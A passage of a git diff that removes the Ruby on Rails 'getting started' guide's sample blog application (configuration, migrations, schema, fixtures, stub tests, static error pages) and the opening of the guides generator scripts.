- # config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}').to_s]
- # config.i18n.default_locale = :de
-
- # Configure the default encoding used in templates for Ruby 1.9.
- config.encoding = "utf-8"
-
- # Configure sensitive parameters which will be filtered from the log file.
- config.filter_parameters += [:password]
-
- # Enable the asset pipeline
- config.assets.enabled = true
-
- # Version of your assets, change this if you want to expire all your assets
- config.assets.version = '1.0'
- end
-end
diff --git a/railties/guides/code/getting_started/config/boot.rb b/railties/guides/code/getting_started/config/boot.rb
deleted file mode 100644
index 4489e58688..0000000000
--- a/railties/guides/code/getting_started/config/boot.rb
+++ /dev/null
@@ -1,6 +0,0 @@
-require 'rubygems'
-
-# Set up gems listed in the Gemfile.
-ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../Gemfile', __FILE__)
-
-require 'bundler/setup' if File.exists?(ENV['BUNDLE_GEMFILE'])
diff --git a/railties/guides/code/getting_started/config/database.yml b/railties/guides/code/getting_started/config/database.yml
deleted file mode 100644
index 51a4dd459d..0000000000
--- a/railties/guides/code/getting_started/config/database.yml
+++ /dev/null
@@ -1,25 +0,0 @@
-# SQLite version 3.x
-# gem install sqlite3
-#
-# Ensure the SQLite 3 gem is defined in your Gemfile
-# gem 'sqlite3'
-development:
- adapter: sqlite3
- database: db/development.sqlite3
- pool: 5
- timeout: 5000
-
-# Warning: The database defined as "test" will be erased and
-# re-generated from your development database when you run "rake".
-# Do not set this db to the same as development or production.
-test:
- adapter: sqlite3
- database: db/test.sqlite3
- pool: 5
- timeout: 5000
-
-production:
- adapter: sqlite3
- database: db/production.sqlite3
- pool: 5
- timeout: 5000
diff --git a/railties/guides/code/getting_started/config/environment.rb b/railties/guides/code/getting_started/config/environment.rb
deleted file mode 100644
index 8f728b7ce7..0000000000
--- a/railties/guides/code/getting_started/config/environment.rb
+++ /dev/null
@@ -1,5 +0,0 @@
-# Load the rails application
-require File.expand_path('../application', __FILE__)
-
-# Initialize the rails application
-Blog::Application.initialize!
diff --git a/railties/guides/code/getting_started/config/environments/development.rb b/railties/guides/code/getting_started/config/environments/development.rb
deleted file mode 100644
index 89932bf19b..0000000000
--- a/railties/guides/code/getting_started/config/environments/development.rb
+++ /dev/null
@@ -1,30 +0,0 @@
-Blog::Application.configure do
- # Settings specified here will take precedence over those in config/application.rb
-
- # In the development environment your application's code is reloaded on
- # every request. This slows down response time but is perfect for development
- # since you don't have to restart the web server when you make code changes.
- config.cache_classes = false
-
- # Log error messages when you accidentally call methods on nil.
- config.whiny_nils = true
-
- # Show full error reports and disable caching
- config.consider_all_requests_local = true
- config.action_controller.perform_caching = false
-
- # Don't care if the mailer can't send
- config.action_mailer.raise_delivery_errors = false
-
- # Print deprecation notices to the Rails logger
- config.active_support.deprecation = :log
-
- # Only use best-standards-support built into browsers
- config.action_dispatch.best_standards_support = :builtin
-
- # Do not compress assets
- config.assets.compress = false
-
- # Expands the lines which load the assets
- config.assets.debug = true
-end
diff --git a/railties/guides/code/getting_started/config/environments/production.rb b/railties/guides/code/getting_started/config/environments/production.rb
deleted file mode 100644
index 6ab63d30a6..0000000000
--- a/railties/guides/code/getting_started/config/environments/production.rb
+++ /dev/null
@@ -1,60 +0,0 @@
-Blog::Application.configure do
- # Settings specified here will take precedence over those in config/application.rb
-
- # Code is not reloaded between requests
- config.cache_classes = true
-
- # Full error reports are disabled and caching is turned on
- config.consider_all_requests_local = false
- config.action_controller.perform_caching = true
-
- # Disable Rails's static asset server (Apache or nginx will already do this)
- config.serve_static_assets = false
-
- # Compress JavaScripts and CSS
- config.assets.compress = true
-
- # Don't fallback to assets pipeline if a precompiled asset is missed
- config.assets.compile = false
-
- # Generate digests for assets URLs
- config.assets.digest = true
-
- # Defaults to Rails.root.join("public/assets")
- # config.assets.manifest = YOUR_PATH
-
- # Specifies the header that your server uses for sending files
- # config.action_dispatch.x_sendfile_header = "X-Sendfile" # for apache
- # config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for nginx
-
- # Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies.
- # config.force_ssl = true
-
- # See everything in the log (default is :info)
- # config.log_level = :debug
-
- # Use a different logger for distributed setups
- # config.logger = SyslogLogger.new
-
- # Use a different cache store in production
- # config.cache_store = :mem_cache_store
-
- # Enable serving of images, stylesheets, and JavaScripts from an asset server
- # config.action_controller.asset_host = "http://assets.example.com"
-
- # Precompile additional assets (application.js, application.css, and all non-JS/CSS are already added)
- # config.assets.precompile += %w( search.js )
-
- # Disable delivery errors, bad email addresses will be ignored
- # config.action_mailer.raise_delivery_errors = false
-
- # Enable threaded mode
- # config.threadsafe!
-
- # Enable locale fallbacks for I18n (makes lookups for any locale fall back to
- # the I18n.default_locale when a translation can not be found)
- config.i18n.fallbacks = true
-
- # Send deprecation notices to registered listeners
- config.active_support.deprecation = :notify
-end
diff --git a/railties/guides/code/getting_started/config/environments/test.rb b/railties/guides/code/getting_started/config/environments/test.rb
deleted file mode 100644
index 833241ace3..0000000000
--- a/railties/guides/code/getting_started/config/environments/test.rb
+++ /dev/null
@@ -1,42 +0,0 @@
-Blog::Application.configure do
- # Settings specified here will take precedence over those in config/application.rb
-
- # The test environment is used exclusively to run your application's
- # test suite. You never need to work with it otherwise. Remember that
- # your test database is "scratch space" for the test suite and is wiped
- # and recreated between test runs. Don't rely on the data there!
- config.cache_classes = true
-
- # Configure static asset server for tests with Cache-Control for performance
- config.serve_static_assets = true
- config.static_cache_control = "public, max-age=3600"
-
- # Log error messages when you accidentally call methods on nil
- config.whiny_nils = true
-
- # Show full error reports and disable caching
- config.consider_all_requests_local = true
- config.action_controller.perform_caching = false
-
- # Raise exceptions instead of rendering exception templates
- config.action_dispatch.show_exceptions = false
-
- # Disable request forgery protection in test environment
- config.action_controller.allow_forgery_protection = false
-
- # Tell Action Mailer not to deliver emails to the real world.
- # The :test delivery method accumulates sent emails in the
- # ActionMailer::Base.deliveries array.
- config.action_mailer.delivery_method = :test
-
- # Use SQL instead of Active Record's schema dumper when creating the test database.
- # This is necessary if your schema can't be completely dumped by the schema dumper,
- # like if you have constraints or database-specific column types
- # config.active_record.schema_format = :sql
-
- # Print deprecation notices to the stderr
- config.active_support.deprecation = :stderr
-
- # Allow pass debug_assets=true as a query parameter to load pages with unpackaged assets
- config.assets.allow_debugging = true
-end
diff --git a/railties/guides/code/getting_started/config/initializers/backtrace_silencers.rb b/railties/guides/code/getting_started/config/initializers/backtrace_silencers.rb
deleted file mode 100644
index 59385cdf37..0000000000
--- a/railties/guides/code/getting_started/config/initializers/backtrace_silencers.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-# Be sure to restart your server when you modify this file.
-
-# You can add backtrace silencers for libraries that you're using but don't wish to see in your backtraces.
-# Rails.backtrace_cleaner.add_silencer { |line| line =~ /my_noisy_library/ }
-
-# You can also remove all the silencers if you're trying to debug a problem that might stem from framework code.
-# Rails.backtrace_cleaner.remove_silencers!
diff --git a/railties/guides/code/getting_started/config/initializers/inflections.rb b/railties/guides/code/getting_started/config/initializers/inflections.rb
deleted file mode 100644
index 9e8b0131f8..0000000000
--- a/railties/guides/code/getting_started/config/initializers/inflections.rb
+++ /dev/null
@@ -1,10 +0,0 @@
-# Be sure to restart your server when you modify this file.
-
-# Add new inflection rules using the following format
-# (all these examples are active by default):
-# ActiveSupport::Inflector.inflections do |inflect|
-# inflect.plural /^(ox)$/i, '\1en'
-# inflect.singular /^(ox)en/i, '\1'
-# inflect.irregular 'person', 'people'
-# inflect.uncountable %w( fish sheep )
-# end
diff --git a/railties/guides/code/getting_started/config/initializers/mime_types.rb b/railties/guides/code/getting_started/config/initializers/mime_types.rb
deleted file mode 100644
index 72aca7e441..0000000000
--- a/railties/guides/code/getting_started/config/initializers/mime_types.rb
+++ /dev/null
@@ -1,5 +0,0 @@
-# Be sure to restart your server when you modify this file.
-
-# Add new mime types for use in respond_to blocks:
-# Mime::Type.register "text/richtext", :rtf
-# Mime::Type.register_alias "text/html", :iphone
diff --git a/railties/guides/code/getting_started/config/initializers/secret_token.rb b/railties/guides/code/getting_started/config/initializers/secret_token.rb
deleted file mode 100644
index b0c8ee23c1..0000000000
--- a/railties/guides/code/getting_started/config/initializers/secret_token.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-# Be sure to restart your server when you modify this file.
-
-# Your secret key for verifying the integrity of signed cookies.
-# If you change this key, all old signed cookies will become invalid!
-# Make sure the secret is at least 30 characters and all random,
-# no regular words or you'll be exposed to dictionary attacks.
-Blog::Application.config.secret_token = '685a9bf865b728c6549a191c90851c1b5ec41ecb60b9e94ad79dd3f824749798aa7b5e94431901960bee57809db0947b481570f7f13376b7ca190fa28099c459'
diff --git a/railties/guides/code/getting_started/config/initializers/session_store.rb b/railties/guides/code/getting_started/config/initializers/session_store.rb
deleted file mode 100644
index 1a67af58b5..0000000000
--- a/railties/guides/code/getting_started/config/initializers/session_store.rb
+++ /dev/null
@@ -1,8 +0,0 @@
-# Be sure to restart your server when you modify this file.
-
-Blog::Application.config.session_store :cookie_store, key: '_blog_session'
-
-# Use the database for sessions instead of the cookie-based default,
-# which shouldn't be used to store highly confidential information
-# (create the session table with "rails generate session_migration")
-# Blog::Application.config.session_store :active_record_store
diff --git a/railties/guides/code/getting_started/config/initializers/wrap_parameters.rb b/railties/guides/code/getting_started/config/initializers/wrap_parameters.rb
deleted file mode 100644
index 999df20181..0000000000
--- a/railties/guides/code/getting_started/config/initializers/wrap_parameters.rb
+++ /dev/null
@@ -1,14 +0,0 @@
-# Be sure to restart your server when you modify this file.
-#
-# This file contains settings for ActionController::ParamsWrapper which
-# is enabled by default.
-
-# Enable parameter wrapping for JSON. You can disable this by setting :format to an empty array.
-ActiveSupport.on_load(:action_controller) do
- wrap_parameters format: [:json]
-end
-
-# Disable root element in JSON by default.
-ActiveSupport.on_load(:active_record) do
- self.include_root_in_json = false
-end
diff --git a/railties/guides/code/getting_started/config/locales/en.yml b/railties/guides/code/getting_started/config/locales/en.yml
deleted file mode 100644
index 179c14ca52..0000000000
--- a/railties/guides/code/getting_started/config/locales/en.yml
+++ /dev/null
@@ -1,5 +0,0 @@
-# Sample localization file for English. Add more files in this directory for other locales.
-# See https://github.com/svenfuchs/rails-i18n/tree/master/rails%2Flocale for starting points.
-
-en:
- hello: "Hello world"
diff --git a/railties/guides/code/getting_started/config/routes.rb b/railties/guides/code/getting_started/config/routes.rb
deleted file mode 100644
index 31f0d210db..0000000000
--- a/railties/guides/code/getting_started/config/routes.rb
+++ /dev/null
@@ -1,64 +0,0 @@
-Blog::Application.routes.draw do
- resources :posts do
- resources :comments
- end
-
- get "home/index"
-
- # The priority is based upon order of creation:
- # first created -> highest priority.
-
- # Sample of regular route:
- # match 'products/:id' => 'catalog#view'
- # Keep in mind you can assign values other than :controller and :action
-
- # Sample of named route:
- # match 'products/:id/purchase' => 'catalog#purchase', :as => :purchase
- # This route can be invoked with purchase_url(:id => product.id)
-
- # Sample resource route (maps HTTP verbs to controller actions automatically):
- # resources :products
-
- # Sample resource route with options:
- # resources :products do
- # member do
- # get 'short'
- # post 'toggle'
- # end
- #
- # collection do
- # get 'sold'
- # end
- # end
-
- # Sample resource route with sub-resources:
- # resources :products do
- # resources :comments, :sales
- # resource :seller
- # end
-
- # Sample resource route with more complex sub-resources
- # resources :products do
- # resources :comments
- # resources :sales do
- # get 'recent', :on => :collection
- # end
- # end
-
- # Sample resource route within a namespace:
- # namespace :admin do
- # # Directs /admin/products/* to Admin::ProductsController
- # # (app/controllers/admin/products_controller.rb)
- # resources :products
- # end
-
- # You can have the root of your site routed with "root"
- # just remember to delete public/index.html.
- root :to => "home#index"
-
- # See how all your routes lay out with "rake routes"
-
- # This is a legacy wild controller route that's not recommended for RESTful applications.
- # Note: This route will make all actions in every controller accessible via GET requests.
- # match ':controller(/:action(/:id(.:format)))'
-end
diff --git a/railties/guides/code/getting_started/db/migrate/20110901012504_create_posts.rb b/railties/guides/code/getting_started/db/migrate/20110901012504_create_posts.rb
deleted file mode 100644
index d45a961523..0000000000
--- a/railties/guides/code/getting_started/db/migrate/20110901012504_create_posts.rb
+++ /dev/null
@@ -1,11 +0,0 @@
-class CreatePosts < ActiveRecord::Migration
- def change
- create_table :posts do |t|
- t.string :name
- t.string :title
- t.text :content
-
- t.timestamps
- end
- end
-end
diff --git a/railties/guides/code/getting_started/db/migrate/20110901012815_create_comments.rb b/railties/guides/code/getting_started/db/migrate/20110901012815_create_comments.rb
deleted file mode 100644
index adda8078c1..0000000000
--- a/railties/guides/code/getting_started/db/migrate/20110901012815_create_comments.rb
+++ /dev/null
@@ -1,12 +0,0 @@
-class CreateComments < ActiveRecord::Migration
- def change
- create_table :comments do |t|
- t.string :commenter
- t.text :body
- t.references :post
-
- t.timestamps
- end
- add_index :comments, :post_id
- end
-end
diff --git a/railties/guides/code/getting_started/db/migrate/20110901013701_create_tags.rb b/railties/guides/code/getting_started/db/migrate/20110901013701_create_tags.rb
deleted file mode 100644
index cf95b1c3d0..0000000000
--- a/railties/guides/code/getting_started/db/migrate/20110901013701_create_tags.rb
+++ /dev/null
@@ -1,11 +0,0 @@
-class CreateTags < ActiveRecord::Migration
- def change
- create_table :tags do |t|
- t.string :name
- t.references :post
-
- t.timestamps
- end
- add_index :tags, :post_id
- end
-end
diff --git a/railties/guides/code/getting_started/db/schema.rb b/railties/guides/code/getting_started/db/schema.rb
deleted file mode 100644
index 9db4fbe4b6..0000000000
--- a/railties/guides/code/getting_started/db/schema.rb
+++ /dev/null
@@ -1,43 +0,0 @@
-# encoding: UTF-8
-# This file is auto-generated from the current state of the database. Instead
-# of editing this file, please use the migrations feature of Active Record to
-# incrementally modify your database, and then regenerate this schema definition.
-#
-# Note that this schema.rb definition is the authoritative source for your
-# database schema. If you need to create the application database on another
-# system, you should be using db:schema:load, not running all the migrations
-# from scratch. The latter is a flawed and unsustainable approach (the more migrations
-# you'll amass, the slower it'll run and the greater likelihood for issues).
-#
-# It's strongly recommended to check this file into your version control system.
-
-ActiveRecord::Schema.define(:version => 20110901013701) do
-
- create_table "comments", :force => true do |t|
- t.string "commenter"
- t.text "body"
- t.integer "post_id"
- t.datetime "created_at"
- t.datetime "updated_at"
- end
-
- add_index "comments", ["post_id"], :name => "index_comments_on_post_id"
-
- create_table "posts", :force => true do |t|
- t.string "name"
- t.string "title"
- t.text "content"
- t.datetime "created_at"
- t.datetime "updated_at"
- end
-
- create_table "tags", :force => true do |t|
- t.string "name"
- t.integer "post_id"
- t.datetime "created_at"
- t.datetime "updated_at"
- end
-
- add_index "tags", ["post_id"], :name => "index_tags_on_post_id"
-
-end
diff --git a/railties/guides/code/getting_started/db/seeds.rb b/railties/guides/code/getting_started/db/seeds.rb
deleted file mode 100644
index 4edb1e857e..0000000000
--- a/railties/guides/code/getting_started/db/seeds.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-# This file should contain all the record creation needed to seed the database with its default values.
-# The data can then be loaded with the rake db:seed (or created alongside the db with db:setup).
-#
-# Examples:
-#
-# cities = City.create([{ name: 'Chicago' }, { name: 'Copenhagen' }])
-# Mayor.create(name: 'Emanuel', city: cities.first)
diff --git a/railties/guides/code/getting_started/doc/README_FOR_APP b/railties/guides/code/getting_started/doc/README_FOR_APP
deleted file mode 100644
index fe41f5cc24..0000000000
--- a/railties/guides/code/getting_started/doc/README_FOR_APP
+++ /dev/null
@@ -1,2 +0,0 @@
-Use this README file to introduce your application and point to useful places in the API for learning more.
-Run "rake doc:app" to generate API documentation for your models, controllers, helpers, and libraries.
diff --git a/railties/guides/code/getting_started/lib/assets/.gitkeep b/railties/guides/code/getting_started/lib/assets/.gitkeep
deleted file mode 100644
index e69de29bb2..0000000000
--- a/railties/guides/code/getting_started/lib/assets/.gitkeep
+++ /dev/null
diff --git a/railties/guides/code/getting_started/lib/tasks/.gitkeep b/railties/guides/code/getting_started/lib/tasks/.gitkeep
deleted file mode 100644
index e69de29bb2..0000000000
--- a/railties/guides/code/getting_started/lib/tasks/.gitkeep
+++ /dev/null
diff --git a/railties/guides/code/getting_started/public/404.html b/railties/guides/code/getting_started/public/404.html
deleted file mode 100644
index 9a48320a5f..0000000000
--- a/railties/guides/code/getting_started/public/404.html
+++ /dev/null
@@ -1,26 +0,0 @@
-<!DOCTYPE html>
-<html>
-<head>
- <title>The page you were looking for doesn't exist (404)</title>
- <style type="text/css">
- body { background-color: #fff; color: #666; text-align: center; font-family: arial, sans-serif; }
- div.dialog {
- width: 25em;
- padding: 0 4em;
- margin: 4em auto 0 auto;
- border: 1px solid #ccc;
- border-right-color: #999;
- border-bottom-color: #999;
- }
- h1 { font-size: 100%; color: #f00; line-height: 1.5em; }
- </style>
-</head>
-
-<body>
- <!-- This file lives in public/404.html -->
- <div class="dialog">
- <h1>The page you were looking for doesn't exist.</h1>
- <p>You may have mistyped the address or the page may have moved.</p>
- </div>
-</body>
-</html>
diff --git a/railties/guides/code/getting_started/public/422.html b/railties/guides/code/getting_started/public/422.html
deleted file mode 100644
index 83660ab187..0000000000
--- a/railties/guides/code/getting_started/public/422.html
+++ /dev/null
@@ -1,26 +0,0 @@
-<!DOCTYPE html>
-<html>
-<head>
- <title>The change you wanted was rejected (422)</title>
- <style type="text/css">
- body { background-color: #fff; color: #666; text-align: center; font-family: arial, sans-serif; }
- div.dialog {
- width: 25em;
- padding: 0 4em;
- margin: 4em auto 0 auto;
- border: 1px solid #ccc;
- border-right-color: #999;
- border-bottom-color: #999;
- }
- h1 { font-size: 100%; color: #f00; line-height: 1.5em; }
- </style>
-</head>
-
-<body>
- <!-- This file lives in public/422.html -->
- <div class="dialog">
- <h1>The change you wanted was rejected.</h1>
- <p>Maybe you tried to change something you didn't have access to.</p>
- </div>
-</body>
-</html>
diff --git a/railties/guides/code/getting_started/public/500.html b/railties/guides/code/getting_started/public/500.html
deleted file mode 100644
index b80307fc16..0000000000
--- a/railties/guides/code/getting_started/public/500.html
+++ /dev/null
@@ -1,26 +0,0 @@
-<!DOCTYPE html>
-<html>
-<head>
- <title>We're sorry, but something went wrong (500)</title>
- <style type="text/css">
- body { background-color: #fff; color: #666; text-align: center; font-family: arial, sans-serif; }
- div.dialog {
- width: 25em;
- padding: 0 4em;
- margin: 4em auto 0 auto;
- border: 1px solid #ccc;
- border-right-color: #999;
- border-bottom-color: #999;
- }
- h1 { font-size: 100%; color: #f00; line-height: 1.5em; }
- </style>
-</head>
-
-<body>
- <!-- This file lives in public/500.html -->
- <div class="dialog">
- <h1>We're sorry, but something went wrong.</h1>
- <p>We've been notified about this issue and we'll take a look at it shortly.</p>
- </div>
-</body>
-</html>
diff --git a/railties/guides/code/getting_started/public/favicon.ico b/railties/guides/code/getting_started/public/favicon.ico
deleted file mode 100644
index e69de29bb2..0000000000
--- a/railties/guides/code/getting_started/public/favicon.ico
+++ /dev/null
diff --git a/railties/guides/code/getting_started/public/robots.txt b/railties/guides/code/getting_started/public/robots.txt
deleted file mode 100644
index 085187fa58..0000000000
--- a/railties/guides/code/getting_started/public/robots.txt
+++ /dev/null
@@ -1,5 +0,0 @@
-# See http://www.robotstxt.org/wc/norobots.html for documentation on how to use the robots.txt file
-#
-# To ban all spiders from the entire site uncomment the next two lines:
-# User-Agent: *
-# Disallow: /
diff --git a/railties/guides/code/getting_started/script/rails b/railties/guides/code/getting_started/script/rails
deleted file mode 100755
index f8da2cffd4..0000000000
--- a/railties/guides/code/getting_started/script/rails
+++ /dev/null
@@ -1,6 +0,0 @@
-#!/usr/bin/env ruby
-# This command will automatically be run when you run "rails" with Rails 3 gems installed from the root of your application.
-
-APP_PATH = File.expand_path('../../config/application', __FILE__)
-require File.expand_path('../../config/boot', __FILE__)
-require 'rails/commands'
diff --git a/railties/guides/code/getting_started/test/fixtures/.gitkeep b/railties/guides/code/getting_started/test/fixtures/.gitkeep
deleted file mode 100644
index e69de29bb2..0000000000
--- a/railties/guides/code/getting_started/test/fixtures/.gitkeep
+++ /dev/null
diff --git a/railties/guides/code/getting_started/test/fixtures/comments.yml b/railties/guides/code/getting_started/test/fixtures/comments.yml
deleted file mode 100644
index d33da386bf..0000000000
--- a/railties/guides/code/getting_started/test/fixtures/comments.yml
+++ /dev/null
@@ -1,11 +0,0 @@
-# Read about fixtures at http://api.rubyonrails.org/classes/Fixtures.html
-
-one:
- commenter: MyString
- body: MyText
- post:
-
-two:
- commenter: MyString
- body: MyText
- post:
diff --git a/railties/guides/code/getting_started/test/fixtures/posts.yml b/railties/guides/code/getting_started/test/fixtures/posts.yml
deleted file mode 100644
index 8b0f75a33d..0000000000
--- a/railties/guides/code/getting_started/test/fixtures/posts.yml
+++ /dev/null
@@ -1,11 +0,0 @@
-# Read about fixtures at http://api.rubyonrails.org/classes/Fixtures.html
-
-one:
- name: MyString
- title: MyString
- content: MyText
-
-two:
- name: MyString
- title: MyString
- content: MyText
diff --git a/railties/guides/code/getting_started/test/fixtures/tags.yml b/railties/guides/code/getting_started/test/fixtures/tags.yml
deleted file mode 100644
index 8485668908..0000000000
--- a/railties/guides/code/getting_started/test/fixtures/tags.yml
+++ /dev/null
@@ -1,9 +0,0 @@
-# Read about fixtures at http://api.rubyonrails.org/classes/Fixtures.html
-
-one:
- name: MyString
- post:
-
-two:
- name: MyString
- post:
diff --git a/railties/guides/code/getting_started/test/functional/.gitkeep b/railties/guides/code/getting_started/test/functional/.gitkeep
deleted file mode 100644
index e69de29bb2..0000000000
--- a/railties/guides/code/getting_started/test/functional/.gitkeep
+++ /dev/null
diff --git a/railties/guides/code/getting_started/test/functional/comments_controller_test.rb b/railties/guides/code/getting_started/test/functional/comments_controller_test.rb
deleted file mode 100644
index 2ec71b4ec5..0000000000
--- a/railties/guides/code/getting_started/test/functional/comments_controller_test.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-require 'test_helper'
-
-class CommentsControllerTest < ActionController::TestCase
- # test "the truth" do
- # assert true
- # end
-end
diff --git a/railties/guides/code/getting_started/test/functional/home_controller_test.rb b/railties/guides/code/getting_started/test/functional/home_controller_test.rb
deleted file mode 100644
index 0d9bb47c3e..0000000000
--- a/railties/guides/code/getting_started/test/functional/home_controller_test.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-require 'test_helper'
-
-class HomeControllerTest < ActionController::TestCase
- test "should get index" do
- get :index
- assert_response :success
- end
-
-end
diff --git a/railties/guides/code/getting_started/test/functional/posts_controller_test.rb b/railties/guides/code/getting_started/test/functional/posts_controller_test.rb
deleted file mode 100644
index b8f7b07820..0000000000
--- a/railties/guides/code/getting_started/test/functional/posts_controller_test.rb
+++ /dev/null
@@ -1,49 +0,0 @@
-require 'test_helper'
-
-class PostsControllerTest < ActionController::TestCase
- setup do
- @post = posts(:one)
- end
-
- test "should get index" do
- get :index
- assert_response :success
- assert_not_nil assigns(:posts)
- end
-
- test "should get new" do
- get :new
- assert_response :success
- end
-
- test "should create post" do
- assert_difference('Post.count') do
- post :create, post: @post.attributes
- end
-
- assert_redirected_to post_path(assigns(:post))
- end
-
- test "should show post" do
- get :show, id: @post.to_param
- assert_response :success
- end
-
- test "should get edit" do
- get :edit, id: @post.to_param
- assert_response :success
- end
-
- test "should update post" do
- put :update, id: @post.to_param, post: @post.attributes
- assert_redirected_to post_path(assigns(:post))
- end
-
- test "should destroy post" do
- assert_difference('Post.count', -1) do
- delete :destroy, id: @post.to_param
- end
-
- assert_redirected_to posts_path
- end
-end
diff --git a/railties/guides/code/getting_started/test/integration/.gitkeep b/railties/guides/code/getting_started/test/integration/.gitkeep
deleted file mode 100644
index e69de29bb2..0000000000
--- a/railties/guides/code/getting_started/test/integration/.gitkeep
+++ /dev/null
diff --git a/railties/guides/code/getting_started/test/performance/browsing_test.rb b/railties/guides/code/getting_started/test/performance/browsing_test.rb
deleted file mode 100644
index 3fea27b916..0000000000
--- a/railties/guides/code/getting_started/test/performance/browsing_test.rb
+++ /dev/null
@@ -1,12 +0,0 @@
-require 'test_helper'
-require 'rails/performance_test_help'
-
-class BrowsingTest < ActionDispatch::PerformanceTest
- # Refer to the documentation for all available options
- # self.profile_options = { :runs => 5, :metrics => [:wall_time, :memory]
- # :output => 'tmp/performance', :formats => [:flat] }
-
- def test_homepage
- get '/'
- end
-end
diff --git a/railties/guides/code/getting_started/test/test_helper.rb b/railties/guides/code/getting_started/test/test_helper.rb
deleted file mode 100644
index 8bf1192ffe..0000000000
--- a/railties/guides/code/getting_started/test/test_helper.rb
+++ /dev/null
@@ -1,13 +0,0 @@
-ENV["RAILS_ENV"] = "test"
-require File.expand_path('../../config/environment', __FILE__)
-require 'rails/test_help'
-
-class ActiveSupport::TestCase
- # Setup all fixtures in test/fixtures/*.(yml|csv) for all tests in alphabetical order.
- #
- # Note: You'll currently still have to declare fixtures explicitly in integration tests
- # -- they do not yet inherit this setting
- fixtures :all
-
- # Add more helper methods to be used by all tests here...
-end
diff --git a/railties/guides/code/getting_started/test/unit/.gitkeep b/railties/guides/code/getting_started/test/unit/.gitkeep
deleted file mode 100644
index e69de29bb2..0000000000
--- a/railties/guides/code/getting_started/test/unit/.gitkeep
+++ /dev/null
diff --git a/railties/guides/code/getting_started/test/unit/comment_test.rb b/railties/guides/code/getting_started/test/unit/comment_test.rb
deleted file mode 100644
index b6d6131a96..0000000000
--- a/railties/guides/code/getting_started/test/unit/comment_test.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-require 'test_helper'
-
-class CommentTest < ActiveSupport::TestCase
- # test "the truth" do
- # assert true
- # end
-end
diff --git a/railties/guides/code/getting_started/test/unit/helpers/comments_helper_test.rb b/railties/guides/code/getting_started/test/unit/helpers/comments_helper_test.rb
deleted file mode 100644
index 2518c16bd5..0000000000
--- a/railties/guides/code/getting_started/test/unit/helpers/comments_helper_test.rb
+++ /dev/null
@@ -1,4 +0,0 @@
-require 'test_helper'
-
-class CommentsHelperTest < ActionView::TestCase
-end
diff --git a/railties/guides/code/getting_started/test/unit/helpers/home_helper_test.rb b/railties/guides/code/getting_started/test/unit/helpers/home_helper_test.rb
deleted file mode 100644
index 4740a18dac..0000000000
--- a/railties/guides/code/getting_started/test/unit/helpers/home_helper_test.rb
+++ /dev/null
@@ -1,4 +0,0 @@
-require 'test_helper'
-
-class HomeHelperTest < ActionView::TestCase
-end
diff --git a/railties/guides/code/getting_started/test/unit/helpers/posts_helper_test.rb b/railties/guides/code/getting_started/test/unit/helpers/posts_helper_test.rb
deleted file mode 100644
index 48549c2ea1..0000000000
--- a/railties/guides/code/getting_started/test/unit/helpers/posts_helper_test.rb
+++ /dev/null
@@ -1,4 +0,0 @@
-require 'test_helper'
-
-class PostsHelperTest < ActionView::TestCase
-end
diff --git a/railties/guides/code/getting_started/test/unit/post_test.rb b/railties/guides/code/getting_started/test/unit/post_test.rb
deleted file mode 100644
index 6d9d463a71..0000000000
--- a/railties/guides/code/getting_started/test/unit/post_test.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-require 'test_helper'
-
-class PostTest < ActiveSupport::TestCase
- # test "the truth" do
- # assert true
- # end
-end
diff --git a/railties/guides/code/getting_started/test/unit/tag_test.rb b/railties/guides/code/getting_started/test/unit/tag_test.rb
deleted file mode 100644
index b8498a117c..0000000000
--- a/railties/guides/code/getting_started/test/unit/tag_test.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-require 'test_helper'
-
-class TagTest < ActiveSupport::TestCase
- # test "the truth" do
- # assert true
- # end
-end
diff --git a/railties/guides/code/getting_started/vendor/assets/stylesheets/.gitkeep b/railties/guides/code/getting_started/vendor/assets/stylesheets/.gitkeep
deleted file mode 100644
index e69de29bb2..0000000000
--- a/railties/guides/code/getting_started/vendor/assets/stylesheets/.gitkeep
+++ /dev/null
diff --git a/railties/guides/code/getting_started/vendor/plugins/.gitkeep b/railties/guides/code/getting_started/vendor/plugins/.gitkeep
deleted file mode 100644
index e69de29bb2..0000000000
--- a/railties/guides/code/getting_started/vendor/plugins/.gitkeep
+++ /dev/null
diff --git a/railties/guides/rails_guides.rb b/railties/guides/rails_guides.rb
deleted file mode 100644
index feb5fe3937..0000000000
--- a/railties/guides/rails_guides.rb
+++ /dev/null
@@ -1,50 +0,0 @@
-pwd = File.dirname(__FILE__)
-$:.unshift pwd
-
-# This is a predicate useful for the doc:guides task of applications.
-def bundler?
- # Note that rake sets the cwd to the one that contains the Rakefile
- # being executed.
- File.exists?('Gemfile')
-end
-
-# Loading Action Pack requires rack and erubis.
-require 'rubygems'
-
-begin
- # Guides generation in the Rails repo.
- as_lib = File.join(pwd, "../../activesupport/lib")
- ap_lib = File.join(pwd, "../../actionpack/lib")
-
- $:.unshift as_lib if File.directory?(as_lib)
- $:.unshift ap_lib if File.directory?(ap_lib)
-rescue LoadError
- # Guides generation from gems.
- gem "actionpack", '>= 3.0'
-end
-
-begin
- require 'redcloth'
-rescue Gem::LoadError
- # This can happen if doc:guides is executed in an application.
- $stderr.puts('Generating guides requires RedCloth 4.1.1+.')
- $stderr.puts(<<ERROR) if bundler?
-Please add
-
- gem 'RedCloth', '~> 4.2'
-
-to the Gemfile, run
-
- bundle install
-
-and try again.
-ERROR
-
- exit 1
-end
-
-require "rails_guides/textile_extensions"
-RedCloth.send(:include, RailsGuides::TextileExtensions)
-
-require "rails_guides/generator"
-RailsGuides::Generator.new.generate
diff --git a/railties/guides/rails_guides/generator.rb b/railties/guides/rails_guides/generator.rb
deleted file mode 100644
index 4682ead66e..0000000000
--- a/railties/guides/rails_guides/generator.rb
+++ /dev/null
@@ -1,242 +0,0 @@
-# ---------------------------------------------------------------------------
-#
-# This script generates the guides. It can be invoked either directly or via the
-# generate_guides rake task within the railties directory.
-#
-# Guides are taken from the source directory, and the resulting HTML goes into the
-# output directory. Assets are stored under files, and copied to output/files as
-# part of the generation process.
-#
